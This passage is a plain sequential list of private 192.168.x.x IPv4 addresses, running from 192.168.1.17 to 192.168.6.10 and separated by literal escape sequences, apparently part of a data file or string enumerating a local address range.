2.168.1.17\r\n192.168.1.18\r\n192.168.1.19\r\n192.168.1.20\r\n192.168.1.21\r\n192.168.1.22\r\n192.168.1.23\r\n192.168.1.24\r\n192.168.1.25\r\n192.168.1.26\r\n192.168.1.27\r\n192.168.1.28\r\n192.168.1.29\r\n192.168.1.30\r\n192.168.1.31\r\n192.168.1.32\r\n192.168.1.33\r\n192.168.1.34\r\n192.168.1.35\r\n192.168.1.36\r\n192.168.1.37\r\n192.168.1.38\r\n192.168.1.39\r\n192.168.1.40\r\n192.168.1.41\r\n192.168.1.42\r\n192.168.1.43\r\n192.168.1.44\r\n192.168.1.45\r\n192.168.1.46\r\n192.168.1.47\r\n192.168.1.48\r\n192.168.1.49\r\n192.168.1.50\r\n192.168.1.51\r\n192.168.1.52\r\n192.168.1.53\r\n192.168.1.54\r\n192.168.1.55\r\n192.168.1.56\r\n192.168.1.57\r\n192.168.1.58\r\n192.168.1.59\r\n192.168.1.60\r\n192.168.1.61\r\n192.168.1.62\r\n192.168.1.63\r\n192.168.1.64\r\n192.168.1.65\r\n192.168.1.66\r\n192.168.1.67\r\n192.168.1.68\r\n192.168.1.69\r\n192.168.1.70\r\n192.168.1.71\r\n192.168.1.72\r\n192.168.1.73\r\n192.168.1.74\r\n192.168.1.75\r\n192.168.1.76\r\n192.168.1.77\r\n192.168.1.78\r\n192.168.1.79\r\n192.168.1.80\r\n192.168.1.81\r\n192.168.1.82\r\n192.168.1.83\r\n192.168.1.84\r\n192.168.1.85\r\n192.168.1.86\r\n192.168.1.87\r\n192.168.1.88\r\n192.168.1.89\r\n192.168.1.90\r\n192.168.1.91\r\n192.168.1.92\r\n192.168.1.93\r\n192.168.1.94\r\n192.168.1.95\r\n192.168.1.96\r\n192.168.1.97\r\n192.168.1.98\r\n192.168.1.99\r\n192.168.1.100\r\n192.168.1.101\r\n192.168.1.102\r\n192.168.1.103\r\n192.168.1.104\r\n192.168.1.105\r\n192.168.1.106\r\n192.168.1.107\r\n192.168.1.108\r\n192.168.1.109\r\n192.168.1.110\r\n192.168.1.111\r\n192.168.1.112\r\n192.168.1.113\r\n192.168.1.114\r\n192.168.1.115\r\n192.168.1.116\r\n192.168.1.117\r\n192.168.1.118\r\n192.168.1.119\r\n192.168.1.120\r\n192.168.1.121\r\n192.168.1.122\r\n192.168.1.123\r\n192.168.1.124\r\n192.168.1.125\r\n192.168.1.126\r\n192.168.1.127\r\n192.168.1.128\r\n192.168.1.129\r\n192.168.1.130\r\n192.168.1.131\r\n192.168.1.132\r\n192.168.1.133\r\n192.168.1.134\r\n192.168.1.135\r\n192.168.1.136\r\n192.168.1.137\r\n192.168.1.138\r\n192.168.1.139\r\n192.168.1.140\r\n192.168.1.141\r\n192.168.1.142\r\n192.168.1.143\r\n192.168.1.144\r\n192.168.1.145\r\n192.168.1.146\r\n192.168.1.147\r\n192.168.1.148\r\n192.168.1.149\r\n192.168.1.150\r\n192.168.1.151\r\n192.168.1.152\r\n192.168.1.153\r\n192.168.1.154\r\n192.168.1.155\r\n192.168.1.156\r\n192.168.1.157\r\n192.168.1.158\r\n192.168.1.159\r\n192.168.1.160\r\n192.168.1.161\r\n192.168.1.162\r\n192.168.1.163\r\n192.168.1.164\r\n192.168.1.165\r\n192.168.1.166\r\n192.168.1.167\r\n192.168.1.168\r\n192.168.1.169\r\n192.168.1.170\r\n192.168.1.171\r\n192.168.1.172\r\n192.168.1.173\r\n192.168.1.174\r\n192.168.1.175\r\n192.168.1.176\r\n192.168.1.177\r\n192.168.1.178\r\n192.168.1.179\r\n192.168.1.180\r\n192.168.1.181\r\n192.168.1.182\r\n192.168.1.183\r\n192.168.1.184\r\n192.168.1.185\r\n192.168.1.186\r\n192.168.1.187\r\n192.168.1.188\r\n192.168.1.189\r\n192.168.1.190\r\n192.168.1.191\r\n192.168.1.192\r\n192.168.1.193\r\n192.168.1.194\r\n192.168.1.195\r\n192.168.1.196\r\n192.168.1.197\r\n192.168.1.198\r\n192.168.1.199\r\n192.168.1.200\r\n192.168.1.201\r\n192.168.1.202\r\n192.168.1.203\r\n192.168.1.204\r\n192.168.1.205\r\n192.168.1.206\r\n192.168.1.207\r\n192.168.1.208\r\n192.168.1.209\r\n192.168.1.210\r\n192.168.1.211\r\n192.168.1.212\r\n192.168.1.213\r\n192.168.1.214\r\n192.168.1.215\r\n192.168.1.216\r\n192.168.1.217\r\n192.168.1.218\r\n192.168.1.219\r\n192.168.1.220\r\n192.168.1.221\r\n192.168.1.222\r\n192.168.1.223\r\n192.168.1.224\r\n192.168.1.225\r\n192.168.1.226\r\n192.168.1.227\r\n192.168.1.228\r\n192.168.1.229\r\n192.168.1.230\r\n192.168.1.231\r\n192.168.1.232\r\n192.168.1.233\r\n192.168.1.234\r\n192.168.1.235\r\n192.168.1.236\r\n192.168.1.237\r\n192.168.1.238\r\n192.168.1.239\r\n192.168.1.240\r\n192.168.1.241\r\n192.168.1.242\r\n192.168.1.243\r\n192.168.1.244\r\n192.168.1.245\r\n192.168.1.246\r\n192.168.1.247\r\n192.168.1.248\r\n192.168.1.249\r\n192.168.1.250\r\n192.168.1.251\r\n192.168.1.252\r\n192.168.1.253\r\n192.168.1.254\r\n192.168.1.255\r\n192.168.2.0\r\n192.168.2.1\r\n192.168.2.2\r\n192.168.2.3\r\n192.168.2.4\r\n192.168.2.5\r\n192.168.2.6\r\n192.168.2.7\r\n192.168.2.8\r\n192.168.2.9\r\n192.168.2.10\r\n192.168.2.11\r\n192.168.2.12\r\n192.168.2.13\r\n192.168.2.14\r\n192.168.2.15\r\n192.168.2.16\r\n192.168.2.17\r\n192.168.2.18\r\n192.168.2.19\r\n192.168.2.20\r\n192.168.2.21\r\n192.168.2.22\r\n192.168.2.23\r\n192.168.2.24\r\n192.168.2.25\r\n192.168.2.26\r\n192.168.2.27\r\n192.168.2.28\r\n192.168.2.29\r\n192.168.2.30\r\n192.168.2.31\r\n192.168.2.32\r\n192.168.2.33\r\n192.168.2.34\r\n192.168.2.35\r\n192.168.2.36\r\n192.168.2.37\r\n192.168.2.38\r\n192.168.2.39\r\n192.168.2.40\r\n192.168.2.41\r\n192.168.2.42\r\n192.168.2.43\r\n192.168.2.44\r\n192.168.2.45\r\n192.168.2.46\r\n192.168.2.47\r\n192.168.2.48\r\n192.168.2.49\r\n192.168.2.50\r\n192.168.2.51\r\n192.168.2.52\r\n192.168.2.53\r\n192.168.2.54\r\n192.168.2.55\r\n192.168.2.56\r\n192.168.2.57\r\n192.168.2.58\r\n192.168.2.59\r\n192.168.2.60\r\n192.168.2.61\r\n192.168.2.62\r\n192.168.2.63\r\n192.168.2.64\r\n192.168.2.65\r\n192.168.2.66\r\n192.168.2.67\r\n192.168.2.68\r\n192.168.2.69\r\n192.168.2.70\r\n192.168.2.71\r\n192.168.2.72\r\n192.168.2.73\r\n192.168.2.74\r\n192.168.2.75\r\n192.168.2.76\r\n192.168.2.77\r\n192.168.2.78\r\n192.168.2.79\r\n192.168.2.80\r\n192.168.2.81\r\n192.168.2.82\r\n192.168.2.83\r\n192.168.2.84\r\n192.168.2.85\r\n192.168.2.86\r\n192.168.2.87\r\n192.168.2.88\r\n192.168.2.89\r\n192.168.2.90\r\n192.168.2.91\r\n192.168.2.92\r\n192.168.2.93\r\n192.168.2.94\r\n192.168.2.95\r\n192.168.2.96\r\n192.168.2.97\r\n192.168.2.98\r\n192.168.2.99\r\n192.168.2.100\r\n192.168.2.101\r\n192.168.2.102\r\n192.168.2.103\r\n192.168.2.104\r\n192.168.2.105\r\n192.168.2.106\r\n192.168.2.107\r\n192.168.2.108\r\n192.168.2.109\r\n192.168.2.110\r\n192.168.2.111\r\n192.168.2.112\r\n192.168.2.113\r\n192.168.2.114\r\n192.168.2.115\r\n192.168.2.116\r\n192.168.2.117\r\n192.168.2.118\r\n192.168.2.119\r\n192.168.2.120\r\n192.168.2.121\r\n192.168.2.122\r\n192.168.2.123\r\n192.168.2.124\r\n192.168.2.125\r\n192.168.2.126\r\n192.168.2.127\r\n192.168.2.128\r\n192.168.2.129\r\n192.168.2.130\r\n192.168.2.131\r\n192.168.2.132\r\n192.168.2.133\r\n192.168.2.134\r\n192.168.2.135\r\n192.168.2.136\r\n192.168.2.137\r\n192.168.2.138\r\n192.168.2.139\r\n192.168.2.140\r\n192.168.2.141\r\n192.168.2.142\r\n192.168.2.143\r\n192.168.2.144\r\n192.168.2.145\r\n192.168.2.146\r\n192.168.2.147\r\n192.168.2.148\r\n192.168.2.149\r\n192.168.2.150\r\n192.168.2.151\r\n192.168.2.152\r\n192.168.2.153\r\n192.168.2.154\r\n192.168.2.155\r\n192.168.2.156\r\n192.168.2.157\r\n192.168.2.158\r\n192.168.2.159\r\n192.168.2.160\r\n192.168.2.161\r\n192.168.2.162\r\n192.168.2.163\r\n192.168.2.164\r\n192.168.2.165\r\n192.168.2.166\r\n192.168.2.167\r\n192.168.2.168\r\n192.168.2.169\r\n192.168.2.170\r\n192.168.2.171\r\n192.168.2.172\r\n192.168.2.173\r\n192.168.2.174\r\n192.168.2.175\r\n192.168.2.176\r\n192.168.2.177\r\n192.168.2.178\r\n192.168.2.179\r\n192.168.2.180\r\n192.168.2.181\r\n192.168.2.182\r\n192.168.2.183\r\n192.168.2.184\r\n192.168.2.185\r\n192.168.2.186\r\n192.168.2.187\r\n192.168.2.188\r\n192.168.2.189\r\n192.168.2.190\r\n192.168.2.191\r\n192.168.2.192\r\n192.168.2.193\r\n192.168.2.194\r\n192.168.2.195\r\n192.168.2.196\r\n192.168.2.197\r\n192.168.2.198\r\n192.168.2.199\r\n192.168.2.200\r\n192.168.2.201\r\n192.168.2.202\r\n192.168.2.203\r\n192.168.2.204\r\n192.168.2.205\r\n192.168.2.206\r\n192.168.2.207\r\n192.168.2.208\r\n192.168.2.209\r\n192.168.2.210\r\n192.168.2.211\r\n192.168.2.212\r\n192.168.2.213\r\n192.168.2.214\r\n192.168.2.215\r\n192.168.2.216\r\n192.168.2.217\r\n192.168.2.218\r\n192.168.2.219\r\n192.168.2.220\r\n192.168.2.221\r\n192.168.2.222\r\n192.168.2.223\r\n192.168.2.224\r\n192.168.2.225\r\n192.168.2.226\r\n192.168.2.227\r\n192.168.2.228\r\n192.168.2.229\r\n192.168.2.230\r\n192.168.2.231\r\n192.168.2.232\r\n192.168.2.233\r\n192.168.2.234\r\n192.168.2.235\r\n192.168.2.236\r\n192.168.2.237\r\n192.168.2.238\r\n192.168.2.239\r\n192.168.2.240\r\n192.168.2.241\r\n192.168.2.242\r\n192.168.2.243\r\n192.168.2.244\r\n192.168.2.245\r\n192.168.2.246\r\n192.168.2.247\r\n192.168.2.248\r\n192.168.2.249\r\n192.168.2.250\r\n192.168.2.251\r\n192.168.2.252\r\n192.168.2.253\r\n192.168.2.254\r\n192.168.2.255\r\n192.168.3.0\r\n192.168.3.1\r\n192.168.3.2\r\n192.168.3.3\r\n192.168.3.4\r\n192.168.3.5\r\n192.168.3.6\r\n192.168.3.7\r\n192.168.3.8\r\n192.168.3.9\r\n192.168.3.10\r\n192.168.3.11\r\n192.168.3.12\r\n192.168.3.13\r\n192.168.3.14\r\n192.168.3.15\r\n192.168.3.16\r\n192.168.3.17\r\n192.168.3.18\r\n192.168.3.19\r\n192.168.3.20\r\n192.168.3.21\r\n192.168.3.22\r\n192.168.3.23\r\n192.168.3.24\r\n192.168.3.25\r\n192.168.3.26\r\n192.168.3.27\r\n192.168.3.28\r\n192.168.3.29\r\n192.168.3.30\r\n192.168.3.31\r\n192.168.3.32\r\n192.168.3.33\r\n192.168.3.34\r\n192.168.3.35\r\n192.168.3.36\r\n192.168.3.37\r\n192.168.3.38\r\n192.168.3.39\r\n192.168.3.40\r\n192.168.3.41\r\n192.168.3.42\r\n192.168.3.43\r\n192.168.3.44\r\n192.168.3.45\r\n192.168.3.46\r\n192.168.3.47\r\n192.168.3.48\r\n192.168.3.49\r\n192.168.3.50\r\n192.168.3.51\r\n192.168.3.52\r\n192.168.3.53\r\n192.168.3.54\r\n192.168.3.55\r\n192.168.3.56\r\n192.168.3.57\r\n192.168.3.58\r\n192.168.3.59\r\n192.168.3.60\r\n192.168.3.61\r\n192.168.3.62\r\n192.168.3.63\r\n192.168.3.64\r\n192.168.3.65\r\n192.168.3.66\r\n192.168.3.67\r\n192.168.3.68\r\n192.168.3.69\r\n192.168.3.70\r\n192.168.3.71\r\n192.168.3.72\r\n192.168.3.73\r\n192.168.3.74\r\n192.168.3.75\r\n192.168.3.76\r\n192.168.3.77\r\n192.168.3.78\r\n192.168.3.79\r\n192.168.3.80\r\n192.168.3.81\r\n192.168.3.82\r\n192.168.3.83\r\n192.168.3.84\r\n192.168.3.85\r\n192.168.3.86\r\n192.168.3.87\r\n192.168.3.88\r\n192.168.3.89\r\n192.168.3.90\r\n192.168.3.91\r\n192.168.3.92\r\n192.168.3.93\r\n192.168.3.94\r\n192.168.3.95\r\n192.168.3.96\r\n192.168.3.97\r\n192.168.3.98\r\n192.168.3.99\r\n192.168.3.100\r\n192.168.3.101\r\n192.168.3.102\r\n192.168.3.103\r\n192.168.3.104\r\n192.168.3.105\r\n192.168.3.106\r\n192.168.3.107\r\n192.168.3.108\r\n192.168.3.109\r\n192.168.3.110\r\n192.168.3.111\r\n192.168.3.112\r\n192.168.3.113\r\n192.168.3.114\r\n192.168.3.115\r\n192.168.3.116\r\n192.168.3.117\r\n192.168.3.118\r\n192.168.3.119\r\n192.168.3.120\r\n192.168.3.121\r\n192.168.3.122\r\n192.168.3.123\r\n192.168.3.124\r\n192.168.3.125\r\n192.168.3.126\r\n192.168.3.127\r\n192.168.3.128\r\n192.168.3.129\r\n192.168.3.130\r\n192.168.3.131\r\n192.168.3.132\r\n192.168.3.133\r\n192.168.3.134\r\n192.168.3.135\r\n192.168.3.136\r\n192.168.3.137\r\n192.168.3.138\r\n192.168.3.139\r\n192.168.3.140\r\n192.168.3.141\r\n192.168.3.142\r\n192.168.3.143\r\n192.168.3.144\r\n192.168.3.145\r\n192.168.3.146\r\n192.168.3.147\r\n192.168.3.148\r\n192.168.3.149\r\n192.168.3.150\r\n192.168.3.151\r\n192.168.3.152\r\n192.168.3.153\r\n192.168.3.154\r\n192.168.3.155\r\n192.168.3.156\r\n192.168.3.157\r\n192.168.3.158\r\n192.168.3.159\r\n192.168.3.160\r\n192.168.3.161\r\n192.168.3.162\r\n192.168.3.163\r\n192.168.3.164\r\n192.168.3.165\r\n192.168.3.166\r\n192.168.3.167\r\n192.168.3.168\r\n192.168.3.169\r\n192.168.3.170\r\n192.168.3.171\r\n192.168.3.172\r\n192.168.3.173\r\n192.168.3.174\r\n192.168.3.175\r\n192.168.3.176\r\n192.168.3.177\r\n192.168.3.178\r\n192.168.3.179\r\n192.168.3.180\r\n192.168.3.181\r\n192.168.3.182\r\n192.168.3.183\r\n192.168.3.184\r\n192.168.3.185\r\n192.168.3.186\r\n192.168.3.187\r\n192.168.3.188\r\n192.168.3.189\r\n192.168.3.190\r\n192.168.3.191\r\n192.168.3.192\r\n192.168.3.193\r\n192.168.3.194\r\n192.168.3.195\r\n192.168.3.196\r\n192.168.3.197\r\n192.168.3.198\r\n192.168.3.199\r\n192.168.3.200\r\n192.168.3.201\r\n192.168.3.202\r\n192.168.3.203\r\n192.168.3.204\r\n192.168.3.205\r\n192.168.3.206\r\n192.168.3.207\r\n192.168.3.208\r\n192.168.3.209\r\n192.168.3.210\r\n192.168.3.211\r\n192.168.3.212\r\n192.168.3.213\r\n192.168.3.214\r\n192.168.3.215\r\n192.168.3.216\r\n192.168.3.217\r\n192.168.3.218\r\n192.168.3.219\r\n192.168.3.220\r\n192.168.3.221\r\n192.168.3.222\r\n192.168.3.223\r\n192.168.3.224\r\n192.168.3.225\r\n192.168.3.226\r\n192.168.3.227\r\n192.168.3.228\r\n192.168.3.229\r\n192.168.3.230\r\n192.168.3.231\r\n192.168.3.232\r\n192.168.3.233\r\n192.168.3.234\r\n192.168.3.235\r\n192.168.3.236\r\n192.168.3.237\r\n192.168.3.238\r\n192.168.3.239\r\n192.168.3.240\r\n192.168.3.241\r\n192.168.3.242\r\n192.168.3.243\r\n192.168.3.244\r\n192.168.3.245\r\n192.168.3.246\r\n192.168.3.247\r\n192.168.3.248\r\n192.168.3.249\r\n192.168.3.250\r\n192.168.3.251\r\n192.168.3.252\r\n192.168.3.253\r\n192.168.3.254\r\n192.168.3.255\r\n192.168.4.0\r\n192.168.4.1\r\n192.168.4.2\r\n192.168.4.3\r\n192.168.4.4\r\n192.168.4.5\r\n192.168.4.6\r\n192.168.4.7\r\n192.168.4.8\r\n192.168.4.9\r\n192.168.4.10\r\n192.168.4.11\r\n192.168.4.12\r\n192.168.4.13\r\n192.168.4.14\r\n192.168.4.15\r\n192.168.4.16\r\n192.168.4.17\r\n192.168.4.18\r\n192.168.4.19\r\n192.168.4.20\r\n192.168.4.21\r\n192.168.4.22\r\n192.168.4.23\r\n192.168.4.24\r\n192.168.4.25\r\n192.168.4.26\r\n192.168.4.27\r\n192.168.4.28\r\n192.168.4.29\r\n192.168.4.30\r\n192.168.4.31\r\n192.168.4.32\r\n192.168.4.33\r\n192.168.4.34\r\n192.168.4.35\r\n192.168.4.36\r\n192.168.4.37\r\n192.168.4.38\r\n192.168.4.39\r\n192.168.4.40\r\n192.168.4.41\r\n192.168.4.42\r\n192.168.4.43\r\n192.168.4.44\r\n192.168.4.45\r\n192.168.4.46\r\n192.168.4.47\r\n192.168.4.48\r\n192.168.4.49\r\n192.168.4.50\r\n192.168.4.51\r\n192.168.4.52\r\n192.168.4.53\r\n192.168.4.54\r\n192.168.4.55\r\n192.168.4.56\r\n192.168.4.57\r\n192.168.4.58\r\n192.168.4.59\r\n192.168.4.60\r\n192.168.4.61\r\n192.168.4.62\r\n192.168.4.63\r\n192.168.4.64\r\n192.168.4.65\r\n192.168.4.66\r\n192.168.4.67\r\n192.168.4.68\r\n192.168.4.69\r\n192.168.4.70\r\n192.168.4.71\r\n192.168.4.72\r\n192.168.4.73\r\n192.168.4.74\r\n192.168.4.75\r\n192.168.4.76\r\n192.168.4.77\r\n192.168.4.78\r\n192.168.4.79\r\n192.168.4.80\r\n192.168.4.81\r\n192.168.4.82\r\n192.168.4.83\r\n192.168.4.84\r\n192.168.4.85\r\n192.168.4.86\r\n192.168.4.87\r\n192.168.4.88\r\n192.168.4.89\r\n192.168.4.90\r\n192.168.4.91\r\n192.168.4.92\r\n192.168.4.93\r\n192.168.4.94\r\n192.168.4.95\r\n192.168.4.96\r\n192.168.4.97\r\n192.168.4.98\r\n192.168.4.99\r\n192.168.4.100\r\n192.168.4.101\r\n192.168.4.102\r\n192.168.4.103\r\n192.168.4.104\r\n192.168.4.105\r\n192.168.4.106\r\n192.168.4.107\r\n192.168.4.108\r\n192.168.4.109\r\n192.168.4.110\r\n192.168.4.111\r\n192.168.4.112\r\n192.168.4.113\r\n192.168.4.114\r\n192.168.4.115\r\n192.168.4.116\r\n192.168.4.117\r\n192.168.4.118\r\n192.168.4.119\r\n192.168.4.120\r\n192.168.4.121\r\n192.168.4.122\r\n192.168.4.123\r\n192.168.4.124\r\n192.168.4.125\r\n192.168.4.126\r\n192.168.4.127\r\n192.168.4.128\r\n192.168.4.129\r\n192.168.4.130\r\n192.168.4.131\r\n192.168.4.132\r\n192.168.4.133\r\n192.168.4.134\r\n192.168.4.135\r\n192.168.4.136\r\n192.168.4.137\r\n192.168.4.138\r\n192.168.4.139\r\n192.168.4.140\r\n192.168.4.141\r\n192.168.4.142\r\n192.168.4.143\r\n192.168.4.144\r\n192.168.4.145\r\n192.168.4.146\r\n192.168.4.147\r\n192.168.4.148\r\n192.168.4.149\r\n192.168.4.150\r\n192.168.4.151\r\n192.168.4.152\r\n192.168.4.153\r\n192.168.4.154\r\n192.168.4.155\r\n192.168.4.156\r\n192.168.4.157\r\n192.168.4.158\r\n192.168.4.159\r\n192.168.4.160\r\n192.168.4.161\r\n192.168.4.162\r\n192.168.4.163\r\n192.168.4.164\r\n192.168.4.165\r\n192.168.4.166\r\n192.168.4.167\r\n192.168.4.168\r\n192.168.4.169\r\n192.168.4.170\r\n192.168.4.171\r\n192.168.4.172\r\n192.168.4.173\r\n192.168.4.174\r\n192.168.4.175\r\n192.168.4.176\r\n192.168.4.177\r\n192.168.4.178\r\n192.168.4.179\r\n192.168.4.180\r\n192.168.4.181\r\n192.168.4.182\r\n192.168.4.183\r\n192.168.4.184\r\n192.168.4.185\r\n192.168.4.186\r\n192.168.4.187\r\n192.168.4.188\r\n192.168.4.189\r\n192.168.4.190\r\n192.168.4.191\r\n192.168.4.192\r\n192.168.4.193\r\n192.168.4.194\r\n192.168.4.195\r\n192.168.4.196\r\n192.168.4.197\r\n192.168.4.198\r\n192.168.4.199\r\n192.168.4.200\r\n192.168.4.201\r\n192.168.4.202\r\n192.168.4.203\r\n192.168.4.204\r\n192.168.4.205\r\n192.168.4.206\r\n192.168.4.207\r\n192.168.4.208\r\n192.168.4.209\r\n192.168.4.210\r\n192.168.4.211\r\n192.168.4.212\r\n192.168.4.213\r\n192.168.4.214\r\n192.168.4.215\r\n192.168.4.216\r\n192.168.4.217\r\n192.168.4.218\r\n192.168.4.219\r\n192.168.4.220\r\n192.168.4.221\r\n192.168.4.222\r\n192.168.4.223\r\n192.168.4.224\r\n192.168.4.225\r\n192.168.4.226\r\n192.168.4.227\r\n192.168.4.228\r\n192.168.4.229\r\n192.168.4.230\r\n192.168.4.231\r\n192.168.4.232\r\n192.168.4.233\r\n192.168.4.234\r\n192.168.4.235\r\n192.168.4.236\r\n192.168.4.237\r\n192.168.4.238\r\n192.168.4.239\r\n192.168.4.240\r\n192.168.4.241\r\n192.168.4.242\r\n192.168.4.243\r\n192.168.4.244\r\n192.168.4.245\r\n192.168.4.246\r\n192.168.4.247\r\n192.168.4.248\r\n192.168.4.249\r\n192.168.4.250\r\n192.168.4.251\r\n192.168.4.252\r\n192.168.4.253\r\n192.168.4.254\r\n192.168.4.255\r\n192.168.5.0\r\n192.168.5.1\r\n192.168.5.2\r\n192.168.5.3\r\n192.168.5.4\r\n192.168.5.5\r\n192.168.5.6\r\n192.168.5.7\r\n192.168.5.8\r\n192.168.5.9\r\n192.168.5.10\r\n192.168.5.11\r\n192.168.5.12\r\n192.168.5.13\r\n192.168.5.14\r\n192.168.5.15\r\n192.168.5.16\r\n192.168.5.17\r\n192.168.5.18\r\n192.168.5.19\r\n192.168.5.20\r\n192.168.5.21\r\n192.168.5.22\r\n192.168.5.23\r\n192.168.5.24\r\n192.168.5.25\r\n192.168.5.26\r\n192.168.5.27\r\n192.168.5.28\r\n192.168.5.29\r\n192.168.5.30\r\n192.168.5.31\r\n192.168.5.32\r\n192.168.5.33\r\n192.168.5.34\r\n192.168.5.35\r\n192.168.5.36\r\n192.168.5.37\r\n192.168.5.38\r\n192.168.5.39\r\n192.168.5.40\r\n192.168.5.41\r\n192.168.5.42\r\n192.168.5.43\r\n192.168.5.44\r\n192.168.5.45\r\n192.168.5.46\r\n192.168.5.47\r\n192.168.5.48\r\n192.168.5.49\r\n192.168.5.50\r\n192.168.5.51\r\n192.168.5.52\r\n192.168.5.53\r\n192.168.5.54\r\n192.168.5.55\r\n192.168.5.56\r\n192.168.5.57\r\n192.168.5.58\r\n192.168.5.59\r\n192.168.5.60\r\n192.168.5.61\r\n192.168.5.62\r\n192.168.5.63\r\n192.168.5.64\r\n192.168.5.65\r\n192.168.5.66\r\n192.168.5.67\r\n192.168.5.68\r\n192.168.5.69\r\n192.168.5.70\r\n192.168.5.71\r\n192.168.5.72\r\n192.168.5.73\r\n192.168.5.74\r\n192.168.5.75\r\n192.168.5.76\r\n192.168.5.77\r\n192.168.5.78\r\n192.168.5.79\r\n192.168.5.80\r\n192.168.5.81\r\n192.168.5.82\r\n192.168.5.83\r\n192.168.5.84\r\n192.168.5.85\r\n192.168.5.86\r\n192.168.5.87\r\n192.168.5.88\r\n192.168.5.89\r\n192.168.5.90\r\n192.168.5.91\r\n192.168.5.92\r\n192.168.5.93\r\n192.168.5.94\r\n192.168.5.95\r\n192.168.5.96\r\n192.168.5.97\r\n192.168.5.98\r\n192.168.5.99\r\n192.168.5.100\r\n192.168.5.101\r\n192.168.5.102\r\n192.168.5.103\r\n192.168.5.104\r\n192.168.5.105\r\n192.168.5.106\r\n192.168.5.107\r\n192.168.5.108\r\n192.168.5.109\r\n192.168.5.110\r\n192.168.5.111\r\n192.168.5.112\r\n192.168.5.113\r\n192.168.5.114\r\n192.168.5.115\r\n192.168.5.116\r\n192.168.5.117\r\n192.168.5.118\r\n192.168.5.119\r\n192.168.5.120\r\n192.168.5.121\r\n192.168.5.122\r\n192.168.5.123\r\n192.168.5.124\r\n192.168.5.125\r\n192.168.5.126\r\n192.168.5.127\r\n192.168.5.128\r\n192.168.5.129\r\n192.168.5.130\r\n192.168.5.131\r\n192.168.5.132\r\n192.168.5.133\r\n192.168.5.134\r\n192.168.5.135\r\n192.168.5.136\r\n192.168.5.137\r\n192.168.5.138\r\n192.168.5.139\r\n192.168.5.140\r\n192.168.5.141\r\n192.168.5.142\r\n192.168.5.143\r\n192.168.5.144\r\n192.168.5.145\r\n192.168.5.146\r\n192.168.5.147\r\n192.168.5.148\r\n192.168.5.149\r\n192.168.5.150\r\n192.168.5.151\r\n192.168.5.152\r\n192.168.5.153\r\n192.168.5.154\r\n192.168.5.155\r\n192.168.5.156\r\n192.168.5.157\r\n192.168.5.158\r\n192.168.5.159\r\n192.168.5.160\r\n192.168.5.161\r\n192.168.5.162\r\n192.168.5.163\r\n192.168.5.164\r\n192.168.5.165\r\n192.168.5.166\r\n192.168.5.167\r\n192.168.5.168\r\n192.168.5.169\r\n192.168.5.170\r\n192.168.5.171\r\n192.168.5.172\r\n192.168.5.173\r\n192.168.5.174\r\n192.168.5.175\r\n192.168.5.176\r\n192.168.5.177\r\n192.168.5.178\r\n192.168.5.179\r\n192.168.5.180\r\n192.168.5.181\r\n192.168.5.182\r\n192.168.5.183\r\n192.168.5.184\r\n192.168.5.185\r\n192.168.5.186\r\n192.168.5.187\r\n192.168.5.188\r\n192.168.5.189\r\n192.168.5.190\r\n192.168.5.191\r\n192.168.5.192\r\n192.168.5.193\r\n192.168.5.194\r\n192.168.5.195\r\n192.168.5.196\r\n192.168.5.197\r\n192.168.5.198\r\n192.168.5.199\r\n192.168.5.200\r\n192.168.5.201\r\n192.168.5.202\r\n192.168.5.203\r\n192.168.5.204\r\n192.168.5.205\r\n192.168.5.206\r\n192.168.5.207\r\n192.168.5.208\r\n192.168.5.209\r\n192.168.5.210\r\n192.168.5.211\r\n192.168.5.212\r\n192.168.5.213\r\n192.168.5.214\r\n192.168.5.215\r\n192.168.5.216\r\n192.168.5.217\r\n192.168.5.218\r\n192.168.5.219\r\n192.168.5.220\r\n192.168.5.221\r\n192.168.5.222\r\n192.168.5.223\r\n192.168.5.224\r\n192.168.5.225\r\n192.168.5.226\r\n192.168.5.227\r\n192.168.5.228\r\n192.168.5.229\r\n192.168.5.230\r\n192.168.5.231\r\n192.168.5.232\r\n192.168.5.233\r\n192.168.5.234\r\n192.168.5.235\r\n192.168.5.236\r\n192.168.5.237\r\n192.168.5.238\r\n192.168.5.239\r\n192.168.5.240\r\n192.168.5.241\r\n192.168.5.242\r\n192.168.5.243\r\n192.168.5.244\r\n192.168.5.245\r\n192.168.5.246\r\n192.168.5.247\r\n192.168.5.248\r\n192.168.5.249\r\n192.168.5.250\r\n192.168.5.251\r\n192.168.5.252\r\n192.168.5.253\r\n192.168.5.254\r\n192.168.5.255\r\n192.168.6.0\r\n192.168.6.1\r\n192.168.6.2\r\n192.168.6.3\r\n192.168.6.4\r\n192.168.6.5\r\n192.168.6.6\r\n192.168.6.7\r\n192.168.6.8\r\n192.168.6.9\r\n192.168.6.10\r\n192.168.6.11\r\n192.168.6.12\r\n192.168.6.13\r\n192.168.6.14\r\n192.168.6.15\r\n192.168.6.16\r\n192.168.6.17\r\n192.168.6.18\r\n192.168.6.19\r\n192.168.6.20\r\n192.168.6.21\r\n192.168.6.22\r\n192.168.6.23\r\n192.168.6.24\r\n192.168.6.25\r\n192.168.6.26\r\n192.168.6.27\r\n192.168.6.28\r\n192.168.6.29\r\n192.168.6.30\r\n192.168.6.31\r\n192.168.6.32\r\n192.168.6.33\r\n192.168.6.34\r\n192.168.6.35\r\n192.168.6.36\r\n192.168.6.37\r\n192.168.6.38\r\n192.168.6.39\r\n192.168.6.40\r\n192.168.6.41\r\n192.168.6.42\r\n192.168.6.43\r\n192.168.6.44\r\n192.168.6.45\r\n192.168.6.46\r\n192.168.6.47\r\n192.168.6.48\r\n192.168.6.49\r\n192.168.6.50\r\n192.168.6.51\r\n192.168.6.52\r\n192.168.6.53\r\n192.168.6.54\r\n192.168.6.55\r\n192.168.6.56\r\n192.168.6.57\r\n192.168.6.58\r\n192.168.6.59\r\n192.168.6.60\r\n192.168.6.61\r\n192.168.6.62\r\n192.168.6.63\r\n192.168.6.64\r\n192.168.6.65\r\n192.168.6.66\r\n192.168.6.67\r\n192.168.6.68\r\n192.168.6.69\r\n192.168.6.70\r\n192.168.6.71\r\n192.168.6.72\r\n192.168.6.73\r\n192.168.6.74\r\n192.168.6.75\r\n192.168.6.76\r\n192.168.6.77\r\n192.168.6.78\r\n192.168.6.79\r\n192.168.6.80\r\n192.168.6.81\r\n192.168.6.82\r\n192.168.6.83\r\n192.168.6.84\r\n192.168.6.85\r\n192.168.6.86\r\n192.168.6.87\r\n192.168.6.88\r\n192.168.6.89\r\n192.168.6.90\r\n192.168.6.91\r\n192.168.6.92\r\n192.168.6.93\r\n192.168.6.94\r\n192.168.6.95\r\n192.168.6.96\r\n192.168.6.97\r\n192.168.6.98\r\n192.168.6.99\r\n192.168.6.10